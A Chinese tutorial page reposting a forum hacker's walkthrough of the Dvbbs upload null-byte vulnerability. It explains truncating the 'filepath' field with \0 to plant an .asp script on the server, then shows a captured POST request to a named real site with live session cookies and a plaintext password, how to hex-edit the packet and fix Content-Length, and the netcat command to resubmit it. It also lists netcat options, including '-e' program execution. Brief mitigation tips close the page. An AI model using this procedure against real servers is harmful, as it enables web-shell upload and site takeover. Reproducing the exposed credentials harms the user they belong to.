当前位置: 首页 > 图文教程 > 网络编程 > ASP > asp 之上传漏洞终结篇

ASP
asp分页(自己整理的2个分页程序)
ASP常用的系统配置函数
雨哲防采集策略之列表篇
雨哲浅谈关于防采集而不影响收录内容篇
asp数据库连接函数
ajax XMLHTTP Post Form时的表单乱码综合解决
ASP注入详细命令40条
用ASP实现MSSQL用户密码破解
ASP创建对象的两种方法比较
ASP字符串转换为整形、双精度型、布尔
ASP计算str2在str1中出现的次数
asp采集抓取网上房产信息的代码
ASP注册登陆实例代码
ASP中使用FileSystemObject时提高性能的方法
分享一个好东东,动态Include文件 (Dynamic File Includes)
解决 JScript 中使用日期类型数据时出现类型错误的问题
在ASP里面创建GUID
在JScript中使用缓存技术的实际代码
ASP javascript Application对象的Contents和StaticObjects做Cache的一些经验
海阳2006+功能中的潜水王

ASP 中的 asp 之上传漏洞终结篇


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 108 ::
收藏到网摘: n/a

收藏关于上传漏洞的文章,最近一直遇到这个麻烦,
作者:szjwwwww    
出自:黑鹰基地论坛
http://www.3800cc.com
一、写在前面
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
用于提交 数据包
DOS界面下运行:
NC -vv www.***.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包
(更多使用方法请查看本区的帖子)
WSE(WSockExpert)
对本机端口的监视,抓取IE提交的数据包
(不会用的就自己到网上搜资料N多)
二、漏洞原理
下面例子假设的前提
www主机: www.***.com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,
用到的变量:
filepath 默认值uploadface 属性hiden
act 默认值upload 属性hiden
file1 就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s \0
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp\0"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
http://www.***.com/newmm.asp\0/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的\0
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:\1.asp
就保存成: http://www.***.com/newmm.asp
三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
监听外部主机
NC [-options] hostname port[s] [ports] ...
监听本地主机
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
详细实例:
---------------------------------------------------------------------------------
一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上传
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打开1.txt改数据:
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
三、重新计算cookies长度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾
处加个00就OK了
计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
......
Host: www.xin126.com
Content-Length: 1969 <======就是这个
Connection: Keep-Alive
Cache-Control: no-cache
......
计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)
2、加强对于\0的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就OK了